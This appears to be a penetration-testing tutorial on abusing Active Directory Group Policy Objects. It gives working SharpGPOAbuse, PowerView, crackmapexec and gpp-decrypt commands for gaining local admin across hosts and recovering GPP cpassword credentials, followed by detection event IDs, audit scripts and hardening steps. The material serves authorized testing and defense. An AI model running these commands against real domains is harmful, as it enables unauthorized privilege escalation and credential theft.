Abusing Group Policy Objects for Privilege Escalation and Lateral Movement

Active Directory
Time it takes to read this article 5 minutes.

Disclaimer. This article is written for educational purposes and for authorized penetration testing only. Run these techniques exclusively against systems you own or have explicit written permission to test. Abusing Group Policy in a production Active Directory environment you are not authorized to assess is illegal and unethical.

Introduction

Group Policy is the backbone of centralized configuration in Active Directory (AD). A single Group Policy Object (GPO) can push registry settings, scripts, scheduled tasks, and security policies to thousands of machines. That power makes GPOs a prime target: if you can edit a GPO that is linked to an Organizational Unit (OU) containing privileged machines, you can effectively run code as SYSTEM on every host in scope.

In this article you'll learn how GPO permissions are abused, how to enumerate writable GPOs, how to weaponize one with SharpGPOAbuse, how the legacy GPP cpassword flaw still yields credentials today, and — given equal weight — how blue teams detect and prevent all of it. If you are new to AD attack paths, it pairs well with my notes on Kerberoasting and ACL-based privilege escalation.

How It Works

Every GPO lives in two places: an object in the directory under CN=Policies,CN=System,DC=..., and a folder in SYSVOL (\\<domain>\SYSVOL\<domain>\Policies\{GUID}) that holds the actual policy files (GptTmpl.inf, ScheduledTasks.xml, etc.).

Two misconfigurations make GPOs dangerous:

  1. Editable GPO ACLs. If a non-privileged principal holds WriteDACL, WriteOwner, GpoEditDeleteModifySecurity, or generic write over a GPO, they can modify its contents. The next time gpupdate runs (default refresh ~90 minutes) the change is applied to every targeted computer — typically as NT AUTHORITY\SYSTEM for machine policy.

  2. GPP cpassword. Group Policy Preferences (GPP) historically allowed admins to set local account passwords. The password was AES-encrypted in Groups.xml, but Microsoft published the static AES key (MS14-025 / CVE-2014-1812). Anyone who can read SYSVOL can decrypt it.

The classic weaponization path is an immediate scheduled task GPO: SharpGPOAbuse writes a ScheduledTasks.xml that runs a command on next policy refresh.

Prerequisites / Lab Setup

  • A domain-joined Windows attack box or Linux box with bloodhound-python / impacket.
  • A low-privileged domain user who (per your engagement) holds write rights over a GPO.
  • A lab DC (Server 2019/2022) with at least one GPO linked to an OU containing a target workstation.

Build BloodHound data and look for the GenericWrite, WriteDacl, or WriteOwner edges pointing at GPO nodes — the BloodHound query "Find GPOs that can be modified by non-admins" surfaces them directly.

Attack Walkthrough

Step 1 — Enumerate writable GPOs

From a Linux box, collect with BloodHound and look at GPO control edges:

bloodhound-python -u lowpriv -p 'Password123!' -d corp.local \
  -ns 10.10.10.10 -c All --zip

From Windows, PowerView shows the same relationships:

Import-Module .\PowerView.ps1
# GPOs the current user can modify
Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs |
  ? { $_.ActiveDirectoryRights -match 'WriteProperty|GenericWrite|WriteDacl' -and
      $_.SecurityIdentifier -match (Get-DomainUser lowpriv).objectsid } |
  Select ObjectDN, ActiveDirectoryRights

Map a GPO to the computers it affects so you know your blast radius:

Get-DomainGPO -Identity 'VulnGPO' | Select displayname, gpcfilesyspath
Get-DomainOU -GPLink '{GUID}' | Get-DomainComputer | Select dnshostname

Step 2 — Weaponize with SharpGPOAbuse

SharpGPOAbuse writes the malicious policy file and updates the GPO version so clients pull the change. Add a local admin via an immediate scheduled task that runs as SYSTEM on every targeted host:

# Create an immediate task that adds a local administrator
SharpGPOAbuse.exe --AddComputerTask `
  --TaskName "Update" `
  --Author "CORP\Administrator" `
  --Command "cmd.exe" `
  --Arguments "/c net localgroup administrators corp\lowpriv /add" `
  --GPOName "VulnGPO"

Other useful primitives the same tool exposes:

# Grant a user the SeDebugPrivilege / logon rights via User Rights Assignment
SharpGPOAbuse.exe --AddUserRights --UserRights "SeTakeOwnershipPrivilege" `
  --UserAccount "corp\lowpriv" --GPOName "VulnGPO"

# Add a per-user immediate task instead of a computer task
SharpGPOAbuse.exe --AddUserTask --TaskName "Run" --Author "CORP\Administrator" `
  --Command "powershell.exe" --Arguments "-enc <base64>" --GPOName "VulnGPO"

Step 3 — Trigger and collect

Wait for the background refresh, or force it on a target you can already touch:

gpupdate /force

Once the task fires, corp\lowpriv is a local administrator on every affected machine — straightforward lateral movement via SMB/WinRM. Clean up afterwards by removing the injected ScheduledTasks.xml and reverting the GPO version number.

Step 4 — Loot GPP cpassword (the legacy path)

Even without write access, search SYSVOL for stored preference passwords:

# Linux / impacket-style grab of any cpassword in SYSVOL
crackmapexec smb 10.10.10.10 -u lowpriv -p 'Password123!' -M gpp_password
# Windows: findstr across SYSVOL, then decrypt
findstr /S /I cpassword \\corp.local\sysvol\corp.local\policies\*.xml
# Decrypt with PowerSploit's helper (or gpp-decrypt on Kali)
Get-GPPPassword
gpp-decrypt "j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw"
# -> Local*P4ssword!

Any account whose AES-encrypted cpassword you recover is instantly usable — frequently a local admin reused across the estate.

Attack Flow

Abusing Group Policy Objects for Privilege Escalation and Lateral Movement diagram 1

The diagram shows two paths from a low-privileged user to lateral movement: editing a GPO to run code as SYSTEM, or decrypting a GPP cpassword from SYSVOL.

Detection & Defense (Blue Team)

GPO abuse is loud if you are watching the right places. Treat detection and prevention as equal partners to the offense above.

Lock down GPO permissions.

  • Audit who can edit each GPO. In production, only Tier-0 admins should hold edit rights. Use the Group Policy Management Console (GPMC) Delegation tab and remove Authenticated Users / non-admin write entries.
  • Run a recurring sweep:
Get-GPO -All | ForEach-Object {
  $g = $_
  Get-GPPermission -Guid $g.Id -All |
    Where-Object { $_.Permission -match 'Edit' -and
                   $_.Trustee.SidType -ne 'WellKnownGroup' } |
    Select @{n='GPO';e={$g.DisplayName}}, @{n='Trustee';e={$_.Trustee.Name}}, Permission
}

Hunt the artifacts.

  • Monitor SYSVOL for the creation of ScheduledTasks.xml, Groups.xml, or changes to GptTmpl.inf. File-integrity monitoring on \\<dc>\SYSVOL\...\Policies is high-signal — legitimate GPO edits are rare and change-controlled.
  • Alert on directory writes to GPO objects: Windows Event ID 5136 (a directory service object was modified) on groupPolicyContainer objects, and Event ID 4739 for changed domain policy.
  • On endpoints, Event ID 4698 (a scheduled task was created) firing right after a gpupdate and creating a task named generically ("Update", "Run") is a strong indicator. Map this to MITRE ATT&CK T1484.001 (Group Policy Modification) and T1053.005 (Scheduled Task).
  • Watch for Event ID 4732 (member added to a local Administrators group) appearing fleet-wide in a short window — the signature of a malicious computer task.

Kill GPP cpassword for good.

  • Install MS14-025, which prevents new cpassword values from being saved, and delete every existing Groups.xml/Services.xml/Drives.xml containing a cpassword attribute from SYSVOL — the patch does not remove old files.
Get-ChildItem \\corp.local\SYSVOL\corp.local\Policies -Recurse `
  -Include *.xml | Select-String -Pattern cpassword
  • Replace any local-admin password management with LAPS / Windows LAPS, which randomizes per-machine local admin passwords and stores them protected in AD.

Reduce blast radius. Enforce the tiered administration model so workstation GPOs cannot grant Domain Admin, enable gpupdate logging, and consider GPO change auditing tools (or native SACLs) that produce an immutable trail of who edited what.

Conclusion

GPOs concentrate enormous authority in a handful of directory objects and SYSVOL files. A single overly-permissive ACL turns a low-privileged user into SYSTEM across an OU, and decade-old GPP cpassword files still surface plaintext local-admin credentials on real engagements. Offensively, BloodHound plus SharpGPOAbuse makes the path almost mechanical. Defensively, the fixes are equally concrete: tighten GPO delegation, monitor SYSVOL and Event IDs 5136/4698/4732, patch MS14-025, and adopt LAPS. For more AD attack paths, see my write-ups on DCSync and replication abuse.

References

Comments

Copied title and URL